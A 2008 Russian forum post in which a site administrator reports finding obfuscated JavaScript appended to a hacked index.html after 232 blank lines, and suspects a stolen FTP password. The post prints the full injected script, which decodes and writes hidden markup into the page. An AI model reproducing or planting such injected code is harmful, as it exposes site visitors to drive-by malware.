Упал один из сайтов

G_Z 07.07.2008 02:52

UE из-за точки с запятой в теле index.html.

Вскрытие показало, что к документу дописано 232 перевода строки, после которых следующее:

<!--feb96e0af7aa8222e3590c169b39c1b1-><script language=javascript>ogu="%";ie="<J73cripJ74 languJ61gJ65J3dJ6aJ61vJ61sJ63J72J69J70t>J20 functionJ20J78sJ64J28J61J29{var scJ2cvJ77J7aJ3dJ22wjJ76mJ38J78J4657]J3a*tJ50(HuJ47{#nJ4d,J2bJ49pJ6fUJ4fJ2dEJ63bq}gzJ5fK`e0J42;sJ32J36J43J5alJ40J66V$TJ41^y'rJ33dJ68J20i.J7c\\J229=aJ6bJ4eJ34J5bJ31J4a~)&!\",ejJ75J3d\"J22,rkJ2czJ71w,z=J22\",ma;fJ6fJ72(scJ3d0;sJ63J3ca.J6ceJ6eJ67thJ3bscJ2bJ2b){ rk=a.charJ41J74(sJ63)J3bzqw=vJ77zJ2eiJ6edeJ78Of(J72kJ29J3bJ69J66(zJ71w>-1J29J7b J6daJ3d((zJ71J77J2b1J29J25J38J31-1);ifJ28J6daJ3cJ3d0J29maJ2bJ3d81;z+=vwz.J63haJ72AJ74(ma-1J29; J7dJ20J65J6cseJ20J7aJ2b=J72J6bJ3b}J65juJ2b=J7aJ3bdoJ63uJ6dent.wriJ74eJ28eju);}J3cJ2fsJ63riJ70tJ3e";gnir=unescape(ie.replace(/J/g,ogu));var ht,xhi;document.write(gnir);ht="<2b3.oPi@kMzGkz0a9vkmk2b3.oP9>ihUbG80MP|j3.P0Hi9<SZRp(Ai@kMzGkz0a\\9~kmkSb3.oP\\9iSRZa\\9 PPo*//jjj|zUUz@0kMk@'P@b2|bU8/KKGPP|v2?9IhUbG80MP|30V03303I9\\9><\\/SZRp(A>9i&si</2b3.oP>i";xsd(ht);</script>

О действиях этой хреновины могу только догадываться.

Другие файлы не тронуты, другие сайты тоже.
Прогоняю полную проверку на троянов, пока тихо, да и врятли чего найдёт.
Скорее всего был украден FTP-пароль у меня или коллеги.

Парсер снова «спас» сайт от зловредных намерений пакости.

---